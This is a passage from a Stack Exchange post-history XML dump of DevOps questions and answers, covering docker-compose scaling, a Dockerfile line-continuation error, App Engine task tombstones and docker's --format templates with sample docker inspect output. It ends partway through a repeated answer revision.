https://github.com/ocd-scm/ocd-environment-webhook/blob/039162d357c3d01c09ff03177352b889ce7605f0/bin/ocd-checkout-env.sh#L10" ContentLicense="CC BY-SA 4.0" />
  <row Id="19923" PostHistoryTypeId="2" PostId="6233" RevisionGUID="55540a69-7d66-48a5-bdce-57ead106ff63" CreationDate="2019-02-05T09:57:09.270" UserId="11179" Text="According to docker-compose issue #5586, [`scale` is deprecated](https://github.com/docker/compose/issues/5586). The replacement is [`deploy.replicas`](https://docs.docker.com/compose/compose-file/#deploy) but that latter is not handled by `docker-compose`, only by `docker stack` implying you have to run Docker in swarm mode.&#xD;&#xA;&#xD;&#xA;As alternate solutions, you can scale services from the command line with docker-compose:&#xD;&#xA;&#xD;&#xA;    docker-compose up --scale app=3&#xD;&#xA;&#xD;&#xA;I'm not too fond of this solution since in my understanding `docker-compose.yml` is supposed to be self-contained and should not depend on command line options. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Another option is to run docker-compose in [`--compatibility` mode](https://docs.docker.com/compose/compose-file/compose-versioning/#compatibility-mode):&#xD;&#xA;&#xD;&#xA;    docker-compose --compatibility up&#xD;&#xA;&#xD;&#xA;In that case, `docker-compose` will translate some `deploy` entries into their _version 2_ equivalent. But because of the name of that option, and because of the warnings in the docs, it does not look like a mid- to long-term solution.&#xD;&#xA;&#xD;&#xA;What would you suggest to replace the docker-compose _v2_ `scale` option?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19924" PostHistoryTypeId="1" PostId="6233" RevisionGUID="55540a69-7d66-48a5-bdce-57ead106ff63" CreationDate="2019-02-05T09:57:09.270" UserId="11179" Text="How to create replicas in docker-compose when `scale` is deprecated?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19925" PostHistoryTypeId="3" PostId="6233" RevisionGUID="55540a69-7d66-48a5-bdce-57ead106ff63" CreationDate="2019-02-05T09:57:09.270" UserId="11179" Text="&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19926" PostHistoryTypeId="2" PostId="6234" RevisionGUID="9dfff7ee-f133-481e-87c2-eb1e50af01b6" CreationDate="2019-02-05T10:29:49.127" UserId="12220" Text="We always use different container for each service (Like Frontend ,Backend and Database). Because a container can run only a single service inside it at a time by using docker-compose.yml file. But we can define multiple services inside one docker-compose.yml file but one for each container.    " ContentLicense="CC BY-SA 4.0" />
  <row Id="19931" PostHistoryTypeId="2" PostId="6236" RevisionGUID="7aacee57-6b98-4994-b726-12ff6ceb9dc6" CreationDate="2019-02-05T12:12:16.433" UserId="12221" Text="this is my dockerfile ; &#xD;&#xA;&#xD;&#xA;    FROM ubuntu:16.04&#xD;&#xA;    MAINTAINER James Turnbull &quot;james@example.com&quot;&#xD;&#xA;    ENV REFRESHED_AT 2016-06-01&#xD;&#xA;    RUN apt-get update -yqq; apt-get -yqq install ruby ruby-dev build &#xD;&#xA;      -essential redis-tools&#xD;&#xA;    &#xD;&#xA;    RUN gem install --no-rdoc --no-ri sinatra json redis&#xD;&#xA;    RUN mkdir -p /opt/webapp&#xD;&#xA;    EXPOSE 4567&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    CMD [ &quot;/opt/webapp/bin/webapp&quot; ]&#xD;&#xA;&#xD;&#xA;and this is how i ran it : &#xD;&#xA;&#xD;&#xA;&gt; docker build -t jamtur01/sinatra .&#xD;&#xA;&#xD;&#xA;however i get this error in regard to  -essential &#xD;&#xA;&#xD;&#xA;&gt; Dockerfile parse error line 5: unknown instruction: -ESSENTIAL&#xD;&#xA;&#xD;&#xA;i am not clear what i have done wrong. is there an equivalent for -essential &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19932" PostHistoryTypeId="1" PostId="6236" RevisionGUID="7aacee57-6b98-4994-b726-12ff6ceb9dc6" CreationDate="2019-02-05T12:12:16.433" UserId="12221" Text="Dockerfile parse error line 5: unknown instruction: -ESSENTIAL" ContentLicense="CC BY-SA 4.0" />
  <row Id="19933" PostHistoryTypeId="3" PostId="6236" RevisionGUID="7aacee57-6b98-4994-b726-12ff6ceb9dc6" CreationDate="2019-02-05T12:12:16.433" UserId="12221" Text="&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19934" PostHistoryTypeId="2" PostId="6237" RevisionGUID="689b5d1c-d725-4a41-9557-e72ed2c8aca1" CreationDate="2019-02-05T12:45:31.247" UserId="11179" Text="I assume you have a copy-paste issue. The right package name is `build-essential`. And if you want to split a RUN statement over several lines, you will have to use backslash for line continuation.&#xD;&#xA;&#xD;&#xA;All that leading to something along the lines of:&#xD;&#xA;&#xD;&#xA;    RUN apt-get update -yqq; apt-get -yqq install ruby ruby-dev \&#xD;&#xA;              build-essential redis-tools&#xD;&#xA;&#xD;&#xA;As a personal suggestion, when you have several commands to run, it is usually better to join them using `&amp;&amp;` rather than `;` since you want the build to fail if _either_ command is failing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    RUN apt-get update -yqq &amp;&amp; apt-get -yqq install ruby ruby-dev \&#xD;&#xA;              build-essential redis-tools&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19935" PostHistoryTypeId="2" PostId="6238" RevisionGUID="9e35b722-7a6b-4e37-bcbb-4ef908788bec" CreationDate="2019-02-05T13:34:50.987" UserId="11220" Text="Recently I got TombstonedTaskError and I would like to know what is the duration for the TombstonedTaskError?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19936" PostHistoryTypeId="1" PostId="6238" RevisionGUID="9e35b722-7a6b-4e37-bcbb-4ef908788bec" CreationDate="2019-02-05T13:34:50.987" UserId="11220" Text="What is the duration for the App Engine task queue tombstones?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19937" PostHistoryTypeId="3" PostId="6238" RevisionGUID="9e35b722-7a6b-4e37-bcbb-4ef908788bec" CreationDate="2019-02-05T13:34:50.987" UserId="11220" Text="&lt;google-cloud-platform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19938" PostHistoryTypeId="2" PostId="6239" RevisionGUID="0c3f324b-7ec0-4c0e-8f79-06be4e7268b4" CreationDate="2019-02-05T14:55:43.767" UserId="47" Text=" `TombstonedTaskError` is raised if you're attempting to to enqueue a named task using a name that has been used recently, see [What is TombstonedTaskError from App Engine's Task Queue?][1].&#xD;&#xA;&#xD;&#xA;The duration of the de-duplication logic has been documented since that answer was posted. From [Naming a task][2] (emphasis mine):&#xD;&#xA;&#xD;&#xA;&gt; When you create a new task, App Engine assigns the task a unique name&#xD;&#xA;&gt; by default. However, you can assign your own name to a task by using&#xD;&#xA;&gt; the name parameter. An advantage of assigning your own task names is&#xD;&#xA;&gt; that named tasks are de-duplicated, which means you can use task names&#xD;&#xA;&gt; to guarantee that a task is only added once. **De-duplication&#xD;&#xA;&gt; continues for 9 days after the task is completed or deleted**.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/a/1102660/4495081&#xD;&#xA;  [2]: https://cloud.google.com/appengine/docs/standard/python/taskqueue/push/creating-tasks#naming_a_task" ContentLicense="CC BY-SA 4.0" />
  <row Id="19939" PostHistoryTypeId="2" PostId="6240" RevisionGUID="f2876d58-a9b0-4260-9f45-ba5856b86c8d" CreationDate="2019-02-05T15:04:15.607" UserId="11179" Text="&#xD;&#xA;&#xD;&#xA;To conclude my Docker course, I would like to make my students deploying an app on some cloud provider. _A priori_, the deployment will be on a single host using `docker-compose` (i.e., no swarm, no kubernetes).&#xD;&#xA;&#xD;&#xA;Which provider would you suggest knowing this is for students? I am looking forward to some free solution and the deployment needs to be seamless, ideally from the command line.&#xD;&#xA;&#xD;&#xA;I've seen [DigitalOcean](https://www.digitalocean.com/docs/one-clicks/docker/) provides a free trial with ssh access so that could do the trick. But I never worked with them, so I'm not sure they aren't hidden issues. Also, even for the free trial, they seem to require a credit card number, which may cause difficulties to some of my students. Any other idea?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19940" PostHistoryTypeId="1" PostId="6240" RevisionGUID="f2876d58-a9b0-4260-9f45-ba5856b86c8d" CreationDate="2019-02-05T15:04:15.607" UserId="11179" Text="Any suggestion for a provider to deploy a first Dockerized application?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19941" PostHistoryTypeId="3" PostId="6240" RevisionGUID="f2876d58-a9b0-4260-9f45-ba5856b86c8d" CreationDate="2019-02-05T15:04:15.607" UserId="11179" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;cloud&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19942" PostHistoryTypeId="2" PostId="6241" RevisionGUID="d7e4baad-d097-48b4-9795-18bdfc1b89d8" CreationDate="2019-02-05T15:37:56.793" UserId="8341" Text="I can't seem to find any good documentation on how to use the docker command's &quot;--format&quot; option in real life. I know how to use Go templates. But specific to docker, how do I know what placeholders are available to use?&#xD;&#xA;&#xD;&#xA;I tried ```docker inspect``` on a container and I see JSON output, but I can't use the names from that as Go template placeholders. I did find out that the placeholders are case-sensitive, which seems unfortunate. The default output isn't much help either, since (I assume) it isn't showing me everything I might use, the columns that are there are all uppercase, and they sometimes have spaces in them. ```docker container ls```, for example, has a column called &quot;CONTAINER ID&quot;. No combination of underscores, quoting schemes, or so on will make that name work. I figured out that it's &quot;{{.ID}}&quot;.&#xD;&#xA;&#xD;&#xA;How am I supposed to be using &quot;--format&quot;? How do I discover placeholders for any given docker object?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19943" PostHistoryTypeId="1" PostId="6241" RevisionGUID="d7e4baad-d097-48b4-9795-18bdfc1b89d8" CreationDate="2019-02-05T15:37:56.793" UserId="8341" Text="How do I use docker command's &quot;--format&quot; option?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19944" PostHistoryTypeId="3" PostId="6241" RevisionGUID="d7e4baad-d097-48b4-9795-18bdfc1b89d8" CreationDate="2019-02-05T15:37:56.793" UserId="8341" Text="&lt;docker&gt;&lt;go&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19945" PostHistoryTypeId="2" PostId="6242" RevisionGUID="f9dbe480-be95-4c8b-a5b3-4d9c5b8ef6fb" CreationDate="2019-02-05T17:08:41.060" UserId="11179" Text="I take the risk of being downvoted here, but I find Go templates a nightmare to use beyond the most basic use cases. Don't take me wrong: they are extremely powerful as you can guess it by [reading the docs](https://golang.org/pkg/text/template/), but I find the syntax unfriendly, and for the most complex cases, I prefer parsing the JSON output with [`jq`](https://stedolan.github.io/jq/). Anyway:&#xD;&#xA;&#xD;&#xA;    sho$ CID=$(sudo docker run --rm -d busybox sleep 3000)                                                                                         &#xD;&#xA;    sh$ sudo docker inspect $CID&#xD;&#xA;    [&#xD;&#xA;        {&#xD;&#xA;            &quot;Id&quot;: &quot;0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967&quot;,&#xD;&#xA;            &quot;Created&quot;: &quot;2019-02-05T16:41:40.040349047Z&quot;,&#xD;&#xA;            &quot;Path&quot;: &quot;sleep&quot;,&#xD;&#xA;            &quot;Args&quot;: [&#xD;&#xA;                &quot;3000&quot;&#xD;&#xA;            ],&#xD;&#xA;            &quot;State&quot;: {&#xD;&#xA;                &quot;Status&quot;: &quot;running&quot;,&#xD;&#xA;                &quot;Running&quot;: true,&#xD;&#xA;                &quot;Paused&quot;: false,&#xD;&#xA;                &quot;Restarting&quot;: false,&#xD;&#xA;                &quot;OOMKilled&quot;: false,&#xD;&#xA;                &quot;Dead&quot;: false,&#xD;&#xA;                &quot;Pid&quot;: 26467,&#xD;&#xA;                &quot;ExitCode&quot;: 0,&#xD;&#xA;                &quot;Error&quot;: &quot;&quot;,&#xD;&#xA;                &quot;StartedAt&quot;: &quot;2019-02-05T16:41:40.659056612Z&quot;,&#xD;&#xA;                &quot;FinishedAt&quot;: &quot;0001-01-01T00:00:00Z&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;Image&quot;: &quot;sha256:3a093384ac306cbac30b67f1585e12b30ab1a899374dabc3170b9bca246f1444&quot;,&#xD;&#xA;            &quot;ResolvConfPath&quot;: &quot;/var/lib/docker/containers/0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967/resolv.conf&quot;,&#xD;&#xA;            &quot;HostnamePath&quot;: &quot;/var/lib/docker/containers/0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967/hostname&quot;,&#xD;&#xA;            &quot;HostsPath&quot;: &quot;/var/lib/docker/containers/0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967/hosts&quot;,&#xD;&#xA;            &quot;LogPath&quot;: &quot;/var/lib/docker/containers/0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967/0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967-json.log&quot;,&#xD;&#xA;            &quot;Name&quot;: &quot;/vibrant_shaw&quot;,&#xD;&#xA;            &quot;RestartCount&quot;: 0,&#xD;&#xA;            &quot;Driver&quot;: &quot;aufs&quot;,&#xD;&#xA;            &quot;Platform&quot;: &quot;linux&quot;,&#xD;&#xA;            &quot;MountLabel&quot;: &quot;&quot;,&#xD;&#xA;            &quot;ProcessLabel&quot;: &quot;&quot;,&#xD;&#xA;            &quot;AppArmorProfile&quot;: &quot;docker-default&quot;,&#xD;&#xA;            &quot;ExecIDs&quot;: null,&#xD;&#xA;            &quot;HostConfig&quot;: {&#xD;&#xA;                &quot;Binds&quot;: null,&#xD;&#xA;                &quot;ContainerIDFile&quot;: &quot;&quot;,&#xD;&#xA;               &quot;LogConfig&quot;: {&#xD;&#xA;                    &quot;Type&quot;: &quot;json-file&quot;,&#xD;&#xA;                    &quot;Config&quot;: {}&#xD;&#xA;                },&#xD;&#xA;                &quot;NetworkMode&quot;: &quot;default&quot;,&#xD;&#xA;                &quot;PortBindings&quot;: {},&#xD;&#xA;                &quot;RestartPolicy&quot;: {&#xD;&#xA;                    &quot;Name&quot;: &quot;no&quot;,&#xD;&#xA;                    &quot;MaximumRetryCount&quot;: 0&#xD;&#xA;                },&#xD;&#xA;                &quot;AutoRemove&quot;: true,&#xD;&#xA;                &quot;VolumeDriver&quot;: &quot;&quot;,&#xD;&#xA;                &quot;VolumesFrom&quot;: null,&#xD;&#xA;                &quot;CapAdd&quot;: null,&#xD;&#xA;                &quot;CapDrop&quot;: null,&#xD;&#xA;                &quot;Dns&quot;: [],&#xD;&#xA;                &quot;DnsOptions&quot;: [],&#xD;&#xA;                &quot;DnsSearch&quot;: [],&#xD;&#xA;                &quot;ExtraHosts&quot;: null,&#xD;&#xA;                &quot;GroupAdd&quot;: null,&#xD;&#xA;                &quot;IpcMode&quot;: &quot;shareable&quot;,&#xD;&#xA;                &quot;Cgroup&quot;: &quot;&quot;,&#xD;&#xA;                &quot;Links&quot;: null,&#xD;&#xA;                &quot;OomScoreAdj&quot;: 0,&#xD;&#xA;                &quot;PidMode&quot;: &quot;&quot;,&#xD;&#xA;                &quot;Privileged&quot;: false,&#xD;&#xA;                &quot;PublishAllPorts&quot;: false,&#xD;&#xA;                &quot;ReadonlyRootfs&quot;: false,&#xD;&#xA;                &quot;SecurityOpt&quot;: null,&#xD;&#xA;                &quot;UTSMode&quot;: &quot;&quot;,&#xD;&#xA;                &quot;UsernsMode&quot;: &quot;&quot;,&#xD;&#xA;                &quot;ShmSize&quot;: 67108864,&#xD;&#xA;                &quot;Runtime&quot;: &quot;runc&quot;,&#xD;&#xA;                &quot;ConsoleSize&quot;: [&#xD;&#xA;                    0,&#xD;&#xA;                    0&#xD;&#xA;                ],&#xD;&#xA;                &quot;Isolation&quot;: &quot;&quot;,&#xD;&#xA;                &quot;CpuShares&quot;: 0,&#xD;&#xA;                &quot;Memory&quot;: 0,&#xD;&#xA;                &quot;NanoCpus&quot;: 0,&#xD;&#xA;                &quot;CgroupParent&quot;: &quot;&quot;,&#xD;&#xA;                &quot;BlkioWeight&quot;: 0,&#xD;&#xA;                &quot;BlkioWeightDevice&quot;: [],&#xD;&#xA;                &quot;BlkioDeviceReadBps&quot;: null,&#xD;&#xA;                &quot;BlkioDeviceWriteBps&quot;: null,&#xD;&#xA;                &quot;BlkioDeviceReadIOps&quot;: null,&#xD;&#xA;                &quot;BlkioDeviceWriteIOps&quot;: null,&#xD;&#xA;                &quot;CpuPeriod&quot;: 0,&#xD;&#xA;                &quot;CpuQuota&quot;: 0,&#xD;&#xA;                &quot;CpuRealtimePeriod&quot;: 0,&#xD;&#xA;                &quot;CpuRealtimeRuntime&quot;: 0,&#xD;&#xA;                &quot;CpusetCpus&quot;: &quot;&quot;,&#xD;&#xA;                &quot;CpusetMems&quot;: &quot;&quot;,&#xD;&#xA;                &quot;Devices&quot;: [],&#xD;&#xA;                &quot;DeviceCgroupRules&quot;: null,&#xD;&#xA;                &quot;DiskQuota&quot;: 0,&#xD;&#xA;                &quot;KernelMemory&quot;: 0,&#xD;&#xA;                &quot;MemoryReservation&quot;: 0,&#xD;&#xA;                &quot;MemorySwap&quot;: 0,&#xD;&#xA;                &quot;MemorySwappiness&quot;: null,&#xD;&#xA;                &quot;OomKillDisable&quot;: false,&#xD;&#xA;                &quot;PidsLimit&quot;: 0,&#xD;&#xA;                &quot;Ulimits&quot;: null,&#xD;&#xA;                &quot;CpuCount&quot;: 0,&#xD;&#xA;                &quot;CpuPercent&quot;: 0,&#xD;&#xA;                &quot;IOMaximumIOps&quot;: 0,&#xD;&#xA;                &quot;IOMaximumBandwidth&quot;: 0,&#xD;&#xA;                &quot;MaskedPaths&quot;: [&#xD;&#xA;                    &quot;/proc/acpi&quot;,&#xD;&#xA;                    &quot;/proc/kcore&quot;,&#xD;&#xA;                    &quot;/proc/keys&quot;,&#xD;&#xA;                    &quot;/proc/latency_stats&quot;,&#xD;&#xA;                    &quot;/proc/timer_list&quot;,&#xD;&#xA;                    &quot;/proc/timer_stats&quot;,&#xD;&#xA;                    &quot;/proc/sched_debug&quot;,&#xD;&#xA;                    &quot;/proc/scsi&quot;,&#xD;&#xA;                    &quot;/sys/firmware&quot;&#xD;&#xA;                ],&#xD;&#xA;                &quot;ReadonlyPaths&quot;: [&#xD;&#xA;                    &quot;/proc/asound&quot;,&#xD;&#xA;                    &quot;/proc/bus&quot;,&#xD;&#xA;                    &quot;/proc/fs&quot;,&#xD;&#xA;                    &quot;/proc/irq&quot;,&#xD;&#xA;                    &quot;/proc/sys&quot;,&#xD;&#xA;                    &quot;/proc/sysrq-trigger&quot;&#xD;&#xA;                ]&#xD;&#xA;            },&#xD;&#xA;            &quot;GraphDriver&quot;: {&#xD;&#xA;                &quot;Data&quot;: null,&#xD;&#xA;                &quot;Name&quot;: &quot;aufs&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;Mounts&quot;: [],&#xD;&#xA;            &quot;Config&quot;: {&#xD;&#xA;                &quot;Hostname&quot;: &quot;0470a3549d2f&quot;,&#xD;&#xA;                &quot;Domainname&quot;: &quot;&quot;,&#xD;&#xA;                &quot;User&quot;: &quot;&quot;,&#xD;&#xA;                &quot;AttachStdin&quot;: false,&#xD;&#xA;                &quot;AttachStdout&quot;: false,&#xD;&#xA;                &quot;AttachStderr&quot;: false,&#xD;&#xA;                &quot;Tty&quot;: false,&#xD;&#xA;                &quot;OpenStdin&quot;: false,&#xD;&#xA;                &quot;StdinOnce&quot;: false,&#xD;&#xA;                &quot;Env&quot;: [&#xD;&#xA;                    &quot;PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin&quot;&#xD;&#xA;                ],&#xD;&#xA;                &quot;Cmd&quot;: [&#xD;&#xA;                    &quot;sleep&quot;,&#xD;&#xA;                    &quot;3000&quot;&#xD;&#xA;                ],&#xD;&#xA;                &quot;Image&quot;: &quot;busybox&quot;,&#xD;&#xA;                &quot;Volumes&quot;: null,&#xD;&#xA;                &quot;WorkingDir&quot;: &quot;&quot;,&#xD;&#xA;                &quot;Entrypoint&quot;: null,&#xD;&#xA;                &quot;OnBuild&quot;: null,&#xD;&#xA;                &quot;Labels&quot;: {}&#xD;&#xA;            },&#xD;&#xA;            &quot;NetworkSettings&quot;: {&#xD;&#xA;                &quot;Bridge&quot;: &quot;&quot;,&#xD;&#xA;                &quot;SandboxID&quot;: &quot;654da638965d9bb26e394ba61036ea713bdccb6304eb09bee86f3c0611a26ca5&quot;,&#xD;&#xA;                &quot;HairpinMode&quot;: false,&#xD;&#xA;                &quot;LinkLocalIPv6Address&quot;: &quot;&quot;,&#xD;&#xA;                &quot;LinkLocalIPv6PrefixLen&quot;: 0,&#xD;&#xA;                &quot;Ports&quot;: {},&#xD;&#xA;                &quot;SandboxKey&quot;: &quot;/var/run/docker/netns/654da638965d&quot;,&#xD;&#xA;                &quot;SecondaryIPAddresses&quot;: null,&#xD;&#xA;                &quot;SecondaryIPv6Addresses&quot;: null,&#xD;&#xA;                &quot;EndpointID&quot;: &quot;c69ef9cb870a3c477105c7bc19e370683886e4e3c62fac8444d3e1e097551250&quot;,&#xD;&#xA;                &quot;Gateway&quot;: &quot;172.17.0.1&quot;,&#xD;&#xA;                &quot;GlobalIPv6Address&quot;: &quot;&quot;,&#xD;&#xA;                &quot;GlobalIPv6PrefixLen&quot;: 0,&#xD;&#xA;                &quot;IPAddress&quot;: &quot;172.17.0.3&quot;,&#xD;&#xA;                &quot;IPPrefixLen&quot;: 16,&#xD;&#xA;                &quot;IPv6Gateway&quot;: &quot;&quot;,&#xD;&#xA;                &quot;MacAddress&quot;: &quot;02:42:ac:11:00:03&quot;,&#xD;&#xA;                &quot;Networks&quot;: {&#xD;&#xA;                    &quot;bridge&quot;: {&#xD;&#xA;                        &quot;IPAMConfig&quot;: null,&#xD;&#xA;                        &quot;Links&quot;: null,&#xD;&#xA;                        &quot;Aliases&quot;: null,&#xD;&#xA;                        &quot;NetworkID&quot;: &quot;5ec8728b05efd5ce6bfde5cbe6e42f247348345e0fdfb305fda76566327fc151&quot;,&#xD;&#xA;                        &quot;EndpointID&quot;: &quot;c69ef9cb870a3c477105c7bc19e370683886e4e3c62fac8444d3e1e097551250&quot;,&#xD;&#xA;                        &quot;Gateway&quot;: &quot;172.17.0.1&quot;,&#xD;&#xA;                        &quot;IPAddress&quot;: &quot;172.17.0.3&quot;,&#xD;&#xA;                        &quot;IPPrefixLen&quot;: 16,&#xD;&#xA;                        &quot;IPv6Gateway&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;GlobalIPv6Address&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;GlobalIPv6PrefixLen&quot;: 0,&#xD;&#xA;                        &quot;MacAddress&quot;: &quot;02:42:ac:11:00:03&quot;,&#xD;&#xA;                        &quot;DriverOpts&quot;: null&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    ]&#xD;&#xA;&#xD;&#xA;You can query any literal attribute by its name, prefixed by a dot:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{.Id}}&#xD;&#xA;    0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{.Name}} {{.Driver}}'&#xD;&#xA;    /vibrant_shaw aufs&#xD;&#xA;&#xD;&#xA;You can also query nested literal fields:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{.State.Running}}'&#xD;&#xA;    true&#xD;&#xA;&#xD;&#xA;But it does not work s expected for nested structures:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{.State}}'&#xD;&#xA;    {running true false false false false 26467 0  2019-02-05T16:41:40.659056612Z 0001-01-01T00:00:00Z &lt;nil&gt;}&#xD;&#xA;&#xD;&#xA;You end up having the data, but without the field names, it is pretty useless--unless you are assuming some predefined field order (something that is probably not safe).&#xD;&#xA;&#xD;&#xA;In that case, you probably what to specify an [explicit formatter](https://docs.docker.com/config/formatting/)&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{json .State}}'&#xD;&#xA;    {&quot;Status&quot;:&quot;running&quot;,&quot;Running&quot;:true,&quot;Paused&quot;:false,&quot;Restarting&quot;:false,&quot;OOMKilled&quot;:false,&quot;Dead&quot;:false,&quot;Pid&quot;:26467,&quot;ExitCode&quot;:0,&quot;Error&quot;:&quot;&quot;,&quot;StartedAt&quot;:&quot;2019-02-05T16:41:40.659056612Z&quot;,&quot;FinishedAt&quot;:&quot;0001-01-01T00:00:00Z&quot;}&#xD;&#xA;&#xD;&#xA;Same thing for arrays:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{.HostConfig.ReadonlyPaths}}'&#xD;&#xA;    [/proc/asound /proc/bus /proc/fs /proc/irq /proc/sys /proc/sysrq-trigger]&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{json .HostConfig.ReadonlyPaths}}'&#xD;&#xA;    [&quot;/proc/asound&quot;,&quot;/proc/bus&quot;,&quot;/proc/fs&quot;,&quot;/proc/irq&quot;,&quot;/proc/sys&quot;,&quot;/proc/sysrq-trigger&quot;]&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{join .HostConfig.ReadonlyPaths &quot;:&quot;}}'&#xD;&#xA;    /proc/asound:/proc/bus:/proc/fs:/proc/irq:/proc/sys:/proc/sysrq-trigger&#xD;&#xA;&#xD;&#xA;More complicated (according to my limited Go Template skills) is accessing fields nested in an array of objects:&#xD;&#xA;&#xD;&#xA;    # This works as expected&#xD;&#xA;    sh$ sudo docker network inspect bridge --format '{{json .IPAM.Config}}'&#xD;&#xA;    [{&quot;Subnet&quot;:&quot;172.17.0.0/16&quot;,&quot;Gateway&quot;:&quot;172.17.0.1&quot;}]&#xD;&#xA;&#xD;&#xA;    # But not that&#xD;&#xA;    sudo docker network inspect bridge --format '{{.IPAM.Config.Gateway}}'&#xD;&#xA;    &#xD;&#xA;    Template parsing error: template: :1:7: executing &quot;&quot; at &lt;.IPAM.Config.Gateway&gt;: can't evaluate field Gateway in type interface {}&#xD;&#xA;&#xD;&#xA;When I want to extract such nested value, I resort on an explicit range loop:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker network inspect bridge --format '{{range .IPAM.Config}}{{.Gateway}}{{end}}'&#xD;&#xA;    172.17.0.1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19946" PostHistoryTypeId="5" PostId="6242" RevisionGUID="7af8db45-b774-4ce2-9c17-f278ea99edee" CreationDate="2019-02-05T17:13:57.803" UserId="11179" Comment="added 92 characters in body" Text="I take the risk of being downvoted here, but I find Go templates a nightmare to use beyond the most basic use cases. Don't take me wrong: they are extremely powerful as you can guess it by [reading the docs](https://golang.org/pkg/text/template/), but I find the syntax unfriendly, and for the most complex cases, I prefer parsing the JSON output with [`jq`](https://stedolan.github.io/jq/). Anyway:&#xD;&#xA;&#xD;&#xA;    sho$ CID=$(sudo docker run --rm -d busybox sleep 3000)                                                                                         &#xD;&#xA;    sh$ sudo docker inspect $CID&#xD;&#xA;    [&#xD;&#xA;        {&#xD;&#xA;            &quot;Id&quot;: &quot;0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967&quot;,&#xD;&#xA;            &quot;Created&quot;: &quot;2019-02-05T16:41:40.040349047Z&quot;,&#xD;&#xA;            &quot;Path&quot;: &quot;sleep&quot;,&#xD;&#xA;            &quot;Args&quot;: [&#xD;&#xA;                &quot;3000&quot;&#xD;&#xA;            ],&#xD;&#xA;            &quot;State&quot;: {&#xD;&#xA;                &quot;Status&quot;: &quot;running&quot;,&#xD;&#xA;                &quot;Running&quot;: true,&#xD;&#xA;                &quot;Paused&quot;: false,&#xD;&#xA;                &quot;Restarting&quot;: false,&#xD;&#xA;                &quot;OOMKilled&quot;: false,&#xD;&#xA;                &quot;Dead&quot;: false,&#xD;&#xA;                &quot;Pid&quot;: 26467,&#xD;&#xA;                &quot;ExitCode&quot;: 0,&#xD;&#xA;                &quot;Error&quot;: &quot;&quot;,&#xD;&#xA;                &quot;StartedAt&quot;: &quot;2019-02-05T16:41:40.659056612Z&quot;,&#xD;&#xA;                &quot;FinishedAt&quot;: &quot;0001-01-01T00:00:00Z&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;Image&quot;: &quot;sha256:3a093384ac306cbac30b67f1585e12b30ab1a899374dabc3170b9bca246f1444&quot;,&#xD;&#xA;            &quot;ResolvConfPath&quot;: &quot;/var/lib/docker/containers/0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967/resolv.conf&quot;,&#xD;&#xA;            &quot;HostnamePath&quot;: &quot;/var/lib/docker/containers/0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967/hostname&quot;,&#xD;&#xA;            &quot;HostsPath&quot;: &quot;/var/lib/docker/containers/0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967/hosts&quot;,&#xD;&#xA;            &quot;LogPath&quot;: &quot;/var/lib/docker/containers/0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967/0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967-json.log&quot;,&#xD;&#xA;            &quot;Name&quot;: &quot;/vibrant_shaw&quot;,&#xD;&#xA;            &quot;RestartCount&quot;: 0,&#xD;&#xA;            &quot;Driver&quot;: &quot;aufs&quot;,&#xD;&#xA;            &quot;Platform&quot;: 